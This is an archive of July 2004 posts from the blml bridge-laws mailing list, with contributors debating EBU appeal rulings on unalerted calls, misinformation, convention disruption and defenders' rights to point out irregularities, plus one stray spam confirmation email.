by West, NS +300, lead S3 > > Director first called: > At end of hand > > Director's statement of facts: > E/W had agreed to play Lebensohl, but disagreed as to > whether it applied in this situation. North was not > given the correct explanation. West failed to inform > North (Law 75D2) that East should have alerted 2NT. If > West had done so, as required by Law, the bidding could > have been re-opened for North, who would have had the > chance to correct his final bid (pass) without penalty. > > Director's ruling: > Score assigned for both sides (Law 12C3): > 75% of 3NT doubled -6 by West, NS +1400 > + 25% of 4S -1 by South, NS -50 > = NS +837 > > Details of ruling: > West may not bid on the failure of East to alert 2NT, > when East chooses to bid 3NT to play West should trust > partner and play there when it is doubled. North may > choose to bid 4S instead of double. Judged as 75% - 25%. > (Other contracts are possible.) > > Appeal lodged by: > East-West > > Comments by East-West: > **Partnership has no agreement to play Lebensohl in this > situation.** > > {My emphasis - RJH} > > [Remainder of East-West comments snipped] > > Appeals Committee decision: > Score assigned for both sides: > 3NT doubled -6 by West, NS +1400 > Deposit returned > > Appeals Committee's comments: > After East's supposedly strong bid, we see no reason > for West to remove to 4S after the double of 3NT. > > In our view no reason why 4S bid should be considered by > N/S. Hence this is removed from the TD's calculations. > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From Frances.Hinden@Shell.com Mon Jul 19 14:53:04 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Mon, 19 Jul 2004 14:53:04 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C6E@lonsc-s-031.europe.shell.com> Frances, > It is quite reasonable, IMO, to assume it's natural when it isn't = alerted, and > South has no obligation to ask "to protect himself". If you state that 90% or so play this as natural in the UK I believe you (although someone bidding 1NT here without sure agreement strongly = suggest it is nowhere near 90%) and then I agree with your view about = 'protecting yourself'. Still holding a nice 10 count in this sequence I cannot = imagine not asking myself. But who cares, I also said that he couldn't protect himself by asking because no useful answer would be forthcoming. ------------------------------------------------------------------------ I said I didn't know any pairs who had agreed not to play it as natural. That includes the pair in question in this appeal, who hadn't agreed it. I've played individuals who think it's unusual, or who think it shows a=20 weak NT (honestly!) or ...=20 From Frances.Hinden@Shell.com Mon Jul 19 15:07:25 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Mon, 19 Jul 2004 15:07:25 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C6F@lonsc-s-031.europe.shell.com> Appeal No 4: Is it unusually unusual? Tournament Director: Roland Bolton Appeals Committee: Jeremy Dhondy (Chairman) Steve Capal David Jones Swiss Pairs --- Dealer North KQ2 EW vulnerable AKJT853 JT7 QT632 AJ875 74 T65 7 962 AKQ64 85 K94 AJ983 Q4 932 WEST NORTH EAST SOUTH --- 1D Pass 1H 1NT 3D Pass 3NT Pass Pass Pass Result at table: 3NT -2 by South, NS -100 Director first called: At end of hand by South Director's statement of facts: South claimed damage because of failure to alert 1NT bid by West, which showed spades and clubs. North stated that had she known that West was showing 5/5 in spades and clubs she would not have passed 3NT. Director's ruling: Score assigned for both sides: 4H making by South, NS +420 Details of ruling: Misinformation. Laws 21B3 and 12C2. Appeal lodged by: East-West Basis of appeal: East does not play 1NT as showing a 5/5 hand. Appeals Committee decision: [deliberately snipped] Appeals Committee's comments: We accepted that E/W had different ideas of what 1NT was [remainder of Appeals Committee's comments deliberately snipped] As an English Appeals Committee, how should you rule? Best wishes Richard Hills ---------------------------------------------------------- As I understand it (possibly wrongly) Richard is asking if a call for which there is no agreement should be alerted in England. Elsewhere, DWS (who effectively sets EBU policy I reckon) has said that If a sequence comes up where you have no agreement, you should alert if you believe that the bid may have been intended as conventional in some = way. That's fair enough, but in this case East may not have known there was=20 anything to have an agreement about, in the same way as if my partner doubled an opening 1-level bid and we hadn't discussed it I wouldn't = alert & say "no agreement". As a side note, this case is slightly more complex than just this point, as North didn't actually explain how or why he would have bid = differently had 1NT been strong; I don't quite see why NS are more or less likely to = have 5 top losers if 1NT is unusual than if it is strong balanced. From svenpran@online.no Mon Jul 19 15:09:11 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 19 Jul 2004 16:09:11 +0200 Subject: [blml] Undiscussed alerts & anti-systemic alerts In-Reply-To: Message-ID: <000601c46d99$f7e3c5a0$6900a8c0@WINXP> Jaap van der Neut > As I said already, convention disruption is not such an easy subject. > According to the letter of the current law you are right. But; >=20 > In Holland since years we rule +3/-3 in such cases even without=20 > the backing of local suplementary laws. Have I missed something? Are you saying that if a player screws up his system you automatically rule A+/A- against him? (Something you are not allowed to do if he makes a psychic call!). And how do you distinguish between a misbid and a psychic call please? The alert rules are tightly connected to agreements, not to whether or = not partner actually makes his calls according to such agreements.=20 I checked with the Norwegian LC and received the answer I have assumed = all the time: We do not want calls to be alerted unless they appear to be alertable according to existing partnership agreements and regulations. = The reason for this is that an alert in such cases will almost inevitably benefit partner (the player who made the call) more than it benefits opponents. In other words we do not want calls alerted when the response to a = follow-up question would be "no agreement", "not part of our system" or statements = to similar effects. (However we do encourage alerts when the alerting = player can give a description of the existing agreement related to a call but = he is unsure whether that agreement makes the call alertable). Slightly different approaches apply when screens are in use. Regards Sven From cibor@poczta.fm Mon Jul 19 15:21:28 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Mon, 19 Jul 2004 16:21:28 +0200 Subject: [blml] Undiscussed alerts & anti-systemic alerts References: Message-ID: <009d01c46d9b$b1c62d90$6a51fea9@ams.com> ----- Original Message -----=20 From: "Jaap van der Neut" To: ; Sent: Monday, July 19, 2004 3:30 PM Subject: Re: [blml] Undiscussed alerts & anti-systemic alerts > Monthy Wolff Trap ? > > Well dear Richard, > > As I said already, convention disruption is not such an easy subject. > According to the letter of the current law you are right. But; > > In Holland since years we rule +3/-3 in such cases even without the backing > of local suplementary laws. > > In Poland this has been codified (if my sources are correct), I don't k= now > all the details but basically convention disruption is treated as MI in all > cases (so your a or b or c is irrelevant). I confirm. Unless you can demonstrate that your partner's explanation is correct ("Can I see your CC, please?") the convention disruption is ruled as MI. Konrad Ciborowski Krak=F3w, Poland From Frances.Hinden@Shell.com Mon Jul 19 16:09:38 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Mon, 19 Jul 2004 16:09:38 +0100 Subject: [blml] Defenders' rights Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C72@lonsc-s-031.europe.shell.com> Which, if any, of the following are legal (although possibly giving UI)? 1. Defender A makes an opening lead face down. Defender B points out = correctly it's out of turn. Defender A retracts the opening lead and B = leads instead (41A & 47E2 seem to say explicitly that an opening LOOT = -even if face down - cannot be retracted unless there was a mistaken = explanation). 2. Defender A points out to defender B that he has a trick pointing the = wrong way. 3. Defender A points out that defender B has just played a card to the = current trick that he had already played to a previous trick. 4. Defender A starts to pull a card out of his hand during the play. = Defender B sharply points out it's not his lead. 5. Defender B points out to defender B that he has dropped a card on the = floor (which landed face down). Laws 9 & 73A are relevant. To my mind, the wording of 9 implies that it = is over-rideen by 73A making all of these actions illegal. But then why = bother with 61B? From grandeval@vejez.fsnet.co.uk Mon Jul 19 16:29:34 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Mon, 19 Jul 2004 16:29:34 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C6F@lonsc-s-031.europe.shell.com> Message-ID: <000701c46da5$732bd3a0$168387d9@4nrw70j> Grattan Endicott To: Sent: Monday, July 19, 2004 3:07 PM Subject: RE: [blml] 2003 EBU casebook, appeal 4 Elsewhere, DWS (who effectively sets EBU policy I reckon) << +=+ This will be news to the L&E Committee +=+ From grandeval@vejez.fsnet.co.uk Mon Jul 19 16:27:25 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Mon, 19 Jul 2004 16:27:25 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C6D@lonsc-s-031.europe.shell.com> <005801c46d93$b9d79530$6402a8c0@yourhpbmye9tmb> Message-ID: <000601c46da5$727c59c0$168387d9@4nrw70j> Grattan Endicott To: "Hinden, Frances SI-PXS" ; "blml" Sent: Monday, July 19, 2004 2:16 PM Subject: Re: [blml] 2003 EBU casebook, appeal 4 > > Outside the UK, at least in a lot of countries where I have some experience, > I will never assume anything about the meaning of 1NT. Often it is a > twosuiter, another frequent treatment is 4S with longer C, and yes some play > it as natural. I do as well by the way. > > Jaap > +=+ In my younger days - 1950's/60s - it was commonly not natural in the UK +=+ From t.kooyman@worldonline.nl Mon Jul 19 16:47:02 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Mon, 19 Jul 2004 17:47:02 +0200 Subject: [blml] Defenders' rights References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C72@lonsc-s-031.europe.shell.com> Message-ID: <005901c46da7$a65ee760$8080b6d4@LNV> Good questions Francis, diid you talk to Patrick Jourdain lately? I did in Malm=F6 and we discussed the idea to make it explicitly legal to allow a defender to prevent his partner from making an infraction. He sugested to extend this right for a player to any other player at the tab= le. We might need to cover the possibility of UI arising, but I am starting t= o like this idea. Any objections? ton Which, if any, of the following are legal (although possibly giving UI)? 1. Defender A makes an opening lead face down. Defender B points out correctly it's out of turn. Defender A retracts the opening lead and B leads instead (41A & 47E2 seem to say explicitly that an opening LOOT -e= ven if face down - cannot be retracted unless there was a mistaken explanatio= n). 2. Defender A points out to defender B that he has a trick pointing the wrong way. 3. Defender A points out that defender B has just played a card to the current trick that he had already played to a previous trick. 4. Defender A starts to pull a card out of his hand during the play. Defender B sharply points out it's not his lead. 5. Defender B points out to defender B that he has dropped a card on the floor (which landed face down). Laws 9 & 73A are relevant. To my mind, the wording of 9 implies that it = is over-rideen by 73A making all of these actions illegal. But then why bot= her with 61B? _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From e-zine-subscribe@hegre-archives.com Mon Jul 19 17:06:48 2004 From: e-zine-subscribe@hegre-archives.com (e-zine administration) Date: Mon, 19 Jul 2004 09:06:48 -0700 Subject: [blml] Confirmation Request (3626483247) Message-ID: You have received this email because someone (probably you) has submitted your email address - - to our mailinglist to either be subscribed and get FREE PHOTOS AND FILM or to be unsubscribed. 1. If you want to receive your photos and be subscribed to our newsletter instantly, simply hit reply. Before you hit reply, please check that the Subject of the reply message contains the confirmation ID: 3626483247, the reply is directed to , and the 'From' address of your reply is . 2. If you are unsubscribing: Please hit reply, check that the Subject of the reply message contains the confirmation ID: 3626483247, the reply is directed to , and the 'From' address of your reply is . If you do not want to receive your photos and be subscribed or be unsubscribed, simply do NOT reply to this email. Thanks! Oyvind From gordon@gordonrainsford.co.uk Mon Jul 19 17:10:28 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Mon, 19 Jul 2004 17:10:28 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <000601c46da5$727c59c0$168387d9@4nrw70j> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C6D@lonsc-s-031.europe.shell.com> <005801c46d93$b9d79530$6402a8c0@yourhpbmye9tmb> <000601c46da5$727c59c0$168387d9@4nrw70j> Message-ID: <26A8F3BE-D99E-11D8-A6AF-0003936A6522@gordonrainsford.co.uk> On 19 Jul 2004, at 16:27, grandeval wrote: > >> >> Outside the UK, at least in a lot of countries where I have some > experience, >> I will never assume anything about the meaning of 1NT. Often it is a >> twosuiter, another frequent treatment is 4S with longer C, and yes >> some > play >> it as natural. I do as well by the way. >> >> Jaap >> > +=+ In my younger days - 1950's/60s - it was commonly > not natural in the UK +=+ When I learned bridge for the first time, in the mid 70s, that was how I was taught the Unusual No Trump - a jump to 2NT, or an overcall of 1NT when both opponents have bid. More recently I've heard (and read) discussions about the merits of returning to playing it as natural, in the light of the fact that openers and responders both tend to bid on less, and so the possibility of game remains in spite of both opponents having bid. That these discussions happened at all, suggests at least a significant number of players had been treating it as unusual. -- Gordon Rainsford London UK From ereppert@rochester.rr.com Mon Jul 19 17:21:54 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 19 Jul 2004 12:21:54 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <008601c46d86$b778a980$20ca87d9@4nrw70j> Message-ID: On Monday, Jul 19, 2004, at 07:50 US/Eastern, grandeval wrote: > E-W could have different ideas and still be found to have an > agreement. I accept that this is so, but my poor brain cannot divine the logic behind it. Can you enlighten me? From gordon@gordonrainsford.co.uk Mon Jul 19 17:30:20 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Mon, 19 Jul 2004 17:30:20 +0100 Subject: [blml] Defenders' rights In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C72@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C72@lonsc-s-031.europe.shell.com> Message-ID: On 19 Jul 2004, at 16:09, Hinden, Frances SI-PXS wrote: > 1. Defender A makes an opening lead face down. Defender B points out > correctly it's out of turn. Defender A retracts the opening lead and > B leads instead (41A & 47E2 seem to say explicitly that an opening > LOOT -even if face down - cannot be retracted unless there was a > mistaken explanation). I don't read those laws that way at all. 41A seems to refer to the procedure that follows a correct lead. Nor does 41A's reference to 47E2 state that misinformation is the *only* irregularity that may allow the opening lead to be corrected under the Director's instruction. -- Gordon Rainsford London UK From ereppert@rochester.rr.com Mon Jul 19 17:54:21 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 19 Jul 2004 12:54:21 -0400 Subject: [blml] Defenders' rights In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C72@lonsc-s-031.europe.shell.com> Message-ID: <483DBD8D-D9A4-11D8-844C-0030656F6826@rochester.rr.com> "I am only an egg", but.... On Monday, Jul 19, 2004, at 11:09 US/Eastern, Hinden, Frances SI-PXS wrote: > 1. Defender A makes an opening lead face down. Defender B points out > correctly it's out of turn. Defender A retracts the opening lead and > B leads instead (41A & 47E2 seem to say explicitly that an opening > LOOT -even if face down - cannot be retracted unless there was a > mistaken explanation). This one's easy, I think. Illegal not because of 41A and 47E2, but because of 9B1. B has called attention to an irregularity, therefore the TD must be called. I would think the face down LOOT is not "played" as defined in Law 45A, so 47E2 would seem not to apply. IAC, assuming the players do not further complicate things by failure to follow Law 9, there is no problem here, surely? If, OTOH, it goes as far as you've said, then technically what they've done is illegal - but it's precisely what the TD would have required had he been called, so no more than a possible PP - probably a warning. > 2. Defender A points out to defender B that he has a trick pointing > the wrong way. Illegal communication, Laws 73A1 and 73B1. > 3. Defender A points out that defender B has just played a card to the > current trick that he had already played to a previous trick. This seems to be calling attention to an irregularity (Law 9A1), hence legal. > 4. Defender A starts to pull a card out of his hand during the play. > Defender B sharply points out it's not his lead. Dummy may attempt to prevent an irregularity by declarer (Law 42B2). AFAIK, there is no corresponding law for a defender. Illegal. > 5. Defender B points out to defender B that he has dropped a card on > the floor (which landed face down). This one's interesting. If dropping a card is an irregularity, surely Law 9 allows B (or A, whichever) to point it out. If it's *not* an irregularity, it would seem B must wait until A discovers for himself that he's dropped a card - but I'm willing to bet a majority of players would point it out immediately, and few if any would object. > Laws 9 & 73A are relevant. To my mind, the wording of 9 implies that > it is over-rideen by 73A making all of these actions illegal. But > then why bother with 61B? "Unless prohibited by law", says Law 9. Law 73 says partners may not communicate with each other save by means of calls and plays. But this law does not say that pointing out an irregularity is "communication with partner". Cases 2 and 4 seem to be such illegal communication, cases 1 and 3 not. Case 5, well, it depends. From jrhind@therock.bm Mon Jul 19 18:02:35 2004 From: jrhind@therock.bm (Jack Rhind) Date: Mon, 19 Jul 2004 14:02:35 -0300 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C6F@lonsc-s-031.europe.shell.com> Message-ID: I see two issues here: 1. I want to determine whether E/W actually play 1NT for clubs & spades, or whether West just thinks that they do. I check the convention cards to see if it is specified. Assuming it is not I am not inclined to award N/S anything. 2. I find it difficult to have much sympathy for N/S in this case, as they reached a contract that had no chance. North did not promise a stop in Clubs and South did not have one either! South has a 3H bid that will clarify his hand and make it easy for N to raise to game. As an Appeals Committee I would be strongly inclined to restore the board to the result achieved at the table Regards, Jack On 7/19/04 11:07 AM, "Hinden, Frances SI-PXS" wrote: > Appeal No 4: Is it unusually unusual? > > > Tournament Director: > Roland Bolton > > Appeals Committee: > Jeremy Dhondy (Chairman) Steve Capal David Jones > > Swiss Pairs --- > Dealer North KQ2 > EW vulnerable AKJT853 > JT7 > QT632 AJ875 > 74 T65 > 7 962 > AKQ64 85 > K94 > AJ983 > Q4 > 932 > > WEST NORTH EAST SOUTH > --- 1D Pass 1H > 1NT 3D Pass 3NT > Pass Pass Pass > > > Result at table: > 3NT -2 by South, NS -100 > > Director first called: > At end of hand by South > > Director's statement of facts: > South claimed damage because of failure to alert 1NT bid > by West, which showed spades and clubs. > > North stated that had she known that West was showing 5/5 > in spades and clubs she would not have passed 3NT. > > Director's ruling: > Score assigned for both sides: > 4H making by South, NS +420 > > Details of ruling: > Misinformation. Laws 21B3 and 12C2. > > Appeal lodged by: > East-West > > Basis of appeal: > East does not play 1NT as showing a 5/5 hand. > > Appeals Committee decision: > > [deliberately snipped] > > Appeals Committee's comments: > We accepted that E/W had different ideas of what 1NT was > > [remainder of Appeals Committee's comments deliberately > snipped] > > As an English Appeals Committee, how should you rule? > > Best wishes > > Richard Hills > ---------------------------------------------------------- > As I understand it (possibly wrongly) Richard is asking if > a call for which there is no agreement should be alerted in > England. > > Elsewhere, DWS (who effectively sets EBU policy I reckon) has said that > If a sequence comes up where you have no agreement, you should alert if > you believe that the bid may have been intended as conventional in some way. > > That's fair enough, but in this case East may not have known there was > anything to have an agreement about, in the same way as if my partner > doubled an opening 1-level bid and we hadn't discussed it I wouldn't alert > & say "no agreement". > > As a side note, this case is slightly more complex than just this point, > as North didn't actually explain how or why he would have bid differently > had 1NT been strong; I don't quite see why NS are more or less likely to have > 5 top losers if 1NT is unusual than if it is strong balanced. > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From adam@irvine.com Mon Jul 19 18:22:06 2004 From: adam@irvine.com (Adam Beneschan) Date: Mon, 19 Jul 2004 10:22:06 -0700 Subject: [blml] Defenders' rights In-Reply-To: Your message of "Mon, 19 Jul 2004 16:09:38 BST." <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C72@lonsc-s-031.europe.shell.com> Message-ID: <200407191722.KAA07503@mailhub.irvine.com> Frances wrote: > Which, if any, of the following are legal (although possibly giving UI)? > > 1. Defender A makes an opening lead face down. Defender B points > out correctly it's out of turn. Defender A retracts the opening > lead and B leads instead (41A & 47E2 seem to say explicitly that an > opening LOOT -even if face down - cannot be retracted unless there > was a mistaken explanation). I don't have a complete answer to this question. But I don't think that either 41A or 47E2 applies. 41A says: "... the defender on presumed declarer's left makes the opening lead face down. The face-down lead may be withdrawn only upon the instruction of the Director..." Here, the wrong defender has made an opening lead face down. I haven't checked to see what Laws apply to this situation. But the action specified by the first sentence of 41A hasn't happened, since the defender on declarer's left hasn't made an opening lead; and since the wording "The face-down lead" at the beginning of the second sentence refers to the lead made according to the first sentence, and the lead according to the first sentence hasn't happened yet, the second sentence isn't applicable. So whatever Laws apply here, I don't think 41A is one of them. 47E2(a) says: "A player may retract the card he has played because of a mistaken explanation of an opponent's call or play and before a corrected explanation, but only if no card was subsequently played to that trick. An opening lead may not be retracted after dummy has faced any card." I do not think a face-down opening lead is considered a "played" card. See Law 45A: "Each player except dummy plays a card by detaching it from his hand and facing(*) it on the table immediately before him." The card isn't faced, so the lead hasn't been played. The footnote to 45A says "The opening lead is first made face down (unless the sponsoring organization directs otherwise)"; to me, the word "first" implies to me that the face-down lead comes *before* the action of playing the card, and is not *part of* the action of playing the card. So the first sentence of 47E2(a) doesn't apply. The second sentence isn't relevant; nor is 47E2(b). So I don't think L47E2 applies either. -- Adam From B.Schelen@IAE.NL Mon Jul 19 19:15:19 2004 From: B.Schelen@IAE.NL (Ben Schelen) Date: Mon, 19 Jul 2004 20:15:19 +0200 Subject: [blml] Defenders' rights References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C72@lonsc-s-031.europe.shell.com> Message-ID: <007601c46dbc$994917c0$fa053dd4@c6l8v1> ----- Original Message ----- From: "Hinden, Frances SI-PXS" Which, if any, of the following are legal (although possibly giving UI)? 1. Defender A makes an opening lead face down. Defender B points out correctly it's out of turn. Defender A retracts the opening lead and B leads instead (41A & 47E2 seem to say explicitly that an opening LOOT -even if face down - cannot be retracted unless there was a mistaken explanation). BS: Already answered by Gordon 2. Defender A points out to defender B that he has a trick pointing the wrong way. BS: UI because it may influence the play. 3. Defender A points out that defender B has just played a card to the current trick that he had already played to a previous trick. BS: Accepted, but quitted tricks may not be inspected. The TD must be summoned. 4. Defender A starts to pull a card out of his hand during the play. Defender B sharply points out it's not his lead. BS: Accepted, because it is not that information what in Law16 is said. 5. Defender B points out to defender B that he has dropped a card on the floor (which landed face down). BS: Accepted, see .4. Laws 9 & 73A are relevant. To my mind, the wording of 9 implies that it is over-rideen by 73A making all of these actions illegal. But then why bother with 61B? BS: Asking about a possible revoke, or not asking, gives the defenders the possibility of inappropriate communication. _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From nigel.guthrie@ntlworld.com Mon Jul 19 20:16:29 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 19 Jul 2004 20:16:29 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C6D@lonsc-s-031.europe.shell.com> Message-ID: <002701c46dc4$e5cf4440$989868d5@jeushtlj> [Frances Hinden] > It is quite reasonable, IMO, to assume > [1N is] natural when it isn't alerted, > and South has no obligation to ask "to > protect himself". [Nigel] Frances is right. Clearly, the law should put the onus on disclosure rather that protecting yourself from secretive opposition. Currently some jurisdictions seem to expect players to steer between... ... the Scylla of "protecting themselves" with questions which are likely to help only opponents and... ... the Charybdis of not appearing to act on UI from partner's spurious questions). --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.720 / Virus Database: 476 - Release Date: 14-Jul-04 From jaapvanderneut@xs4all.nl Mon Jul 19 20:55:46 2004 From: jaapvanderneut@xs4all.nl (Jaap van der Neut) Date: Mon, 19 Jul 2004 21:55:46 +0200 Subject: [blml] Undiscussed alerts & anti-systemic alerts References: <000601c46d99$f7e3c5a0$6900a8c0@WINXP> Message-ID: <000e01c46dca$64e1d680$6402a8c0@yourhpbmye9tmb> Sven: > Have I missed something? Are you saying that if a player screws up his > system you automatically rule A+/A- against him? It is not that extreme. It is basically about brown-sticker conventions and the like. A definition is hard but think about competitive and disruptive conventions. In Holland the number one culprit is twosuited overcalls. But any kind of multi or transfer type of competitive convention would also qualify. If we cannot 'prove' MI (without Polish laws there are limits to what you can do) we tend to rule +3/-3. There are two ways to defend this legally. First articles like 'paying insufficient attention' which I admit is kind of stretching. Second the logical argument that the mistake is proof of them not knowing their system so they cannot explain it so the explanation is not correct or not complete. Also dubious. I would prefer clearer laws. Jaap ----- Original Message ----- From: "Sven Pran" To: "blml" Sent: Monday, July 19, 2004 4:09 PM Subject: RE: [blml] Undiscussed alerts & anti-systemic alerts Jaap van der Neut > As I said already, convention disruption is not such an easy subject. > According to the letter of the current law you are right. But; > > In Holland since years we rule +3/-3 in such cases even without > the backing of local suplementary laws. Have I missed something? Are you saying that if a player screws up his system you automatically rule A+/A- against him? (Something you are not allowed to do if he makes a psychic call!). And how do you distinguish between a misbid and a psychic call please? The alert rules are tightly connected to agreements, not to whether or not partner actually makes his calls according to such agreements. I checked with the Norwegian LC and received the answer I have assumed all the time: We do not want calls to be alerted unless they appear to be alertable according to existing partnership agreements and regulations. The reason for this is that an alert in such cases will almost inevitably benefit partner (the player who made the call) more than it benefits opponents. In other words we do not want calls alerted when the response to a follow-up question would be "no agreement", "not part of our system" or statements to similar effects. (However we do encourage alerts when the alerting player can give a description of the existing agreement related to a call but he is unsure whether that agreement makes the call alertable). Slightly different approaches apply when screens are in use. Regards Sven _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From john@asimere.com Mon Jul 19 21:05:00 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 19 Jul 2004 21:05:00 +0100 Subject: [blml] A player's view In-Reply-To: <000b01c46d5f$efaf99c0$6401a8c0@san.rr.com> References: <001401c46bba$11a60ac0$6401a8c0@san.rr.com> <001201c46d1b$527461c0$404f1d53@kocurzak> <000b01c46d5f$efaf99c0$6401a8c0@san.rr.com> Message-ID: <9$Y+TiAslC$AFwGJ@asimere.com> In article <000b01c46d5f$efaf99c0$6401a8c0@san.rr.com>, Marvin French writes > >From: "Konrad Ciborowski" > >From: "Marvin French" >> >>> > Richard Hills: >> > >> > The 1987 version of Law 74C5 reads, in part, >> > "...(but it is appropriate to act on information >> > acquired by inadvertently seeing an opponent's >> > card)." >> >>> Appropriate in rubber bridge, and perhaps knockout team play, but >not >> in other forms of the game. > >>Why not? > >It provides an unfair advantage over others in the field, who have not >seen the card(s) you have seen. When can we stop this "protect the field" nonsense ? You could say the same about revokes BOOTs LOOTs etc. It's part of the game, just the same as a good or bad bounce is part of golf. No-one in "The Open" complains if it pisses down during their round and shines gloriously on someone else's back. If my opponent shows me his cards, I'm going to look. If my opponent is devious I'll assume he's hidden his Queen :) cheers John > >L16B says that sight of an opponent's card(s) before the auction begins >is UI and the TD should be called. I do not see why that should not hold >true for the entire deal. That's the way it was before 1987, and it >should not have been changed. > >Of course many TDs would oppose such a revision to L16B because it would >make more work for them. > >Marv >Marvin L. French >San Diego, California > > > > > > > > > > > > > > > > > > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From nigel.guthrie@ntlworld.com Mon Jul 19 21:10:04 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 19 Jul 2004 21:10:04 +0100 Subject: [blml] Undiscussed alerts & anti-systemic alerts References: <009d01c46d9b$b1c62d90$6a51fea9@ams.com> Message-ID: <008f01c46dcc$61a55e40$989868d5@jeushtlj> [Konrad Ciborowski] > I confirm. Unless you can demonstrate that > your partner's explanation is correct > ("Can I see your CC, please?") the > convention disruption is ruled as MI. {Nigel] Konrad's Dutch and Polish interpretation seems a fair, simple and practical way of disambiguating relevant laws in TFLB. The simplest rule of all would be that if you don't know, you must guess; risking MI. In answer to an earlier question by Ed Reppert: I've heard opponents argue over alternative meanings of a call, only to discover that their system-notes specify a *third* meaning. I confess it has happened to me. IMO, for legal purposes, convention-cards, system notes and system-books, should be the prime sources in determining agreements. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.720 / Virus Database: 476 - Release Date: 14-Jul-04 From john@asimere.com Mon Jul 19 21:27:22 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 19 Jul 2004 21:27:22 +0100 Subject: [blml] Undiscussed alerts & anti-systemic alerts In-Reply-To: References: Message-ID: <7f5$LGBq6C$AFwli@asimere.com> In article , richard.hills@immi.gov.au writes > > > > >John (MadDog) Probst: > >>>OB - section on alerts >>> >>>5.1.4 Alert any call of your partner which you >>>believe to be alertable even if you cannot explain >>>its meaning. >>> >>>5.1.5 When there is no alert, your opponents can >>>assume that the call does not fall within an >>>alertable category. >>> >>>So, further to my comments elsewhere: >>>5.1.4 tells me to alert unless I know 1NT is >>>natural. 5.1.5 tells me I'm about to get screwed if >>>1NT is not natural. > >William Jefferson Clinton: > >>It depends on what the meaning of the word "is" is. > >Richard Hills: > >In my opinion, MadDog has walked straight into the >Monty Wolff trap, and *is* implicitly stating that >the so-called infraction of Convention Disruption >actually exists. Monty Wolff :) love it. EBU praxis is to lean on 5-5 screw ups far more heavily than other ones. Since one player in the partnership thinks it's 5-5 and the other thinks it's natural, *and* they can't prove one or the other we *deem* the meaning least advantageous to the OS. I see no other way to handle these without allowing "cheats" to prosper. Here a "cheat" is an innocent party doing what someone who is trying to cheat would do. - and indeed I often ask myself "What would a cheat do here?" without ever thinking the player who did it *is* cheating. > >In my opinion, MadDog should not be asking about >whether "1NT *is* natural" or "1NT *is* not natural". >In my opinion, that *is* the wrong question. > >Rather, in my opinion, the threefold question should >be: > >(a) *Is* 1NT, by partnership agreement, natural? no > >or > >(b) *Is* 1NT, by partnership agreement, not natural? > no >or > >(c) *Is* there zero partnership agreement (neither >explicit nor implicit) about the meaning of 1NT? what would a cheat do? > >A classic example, in which both the TD and AC fell >into the Monty Wolff trap, *is* appeal number eight >in the forthcoming 2003 WBU casebook. See attached. > >Best wishes > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From wayne.burrows@xtra.co.nz Sat Jul 17 23:54:47 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sun, 18 Jul 2004 10:54:47 +1200 Subject: [blml] Psychic Bidding Guidelines Message-ID: <000801c46c51$0f7652e0$0401010a@Desktop> This is a multi-part message in MIME format. 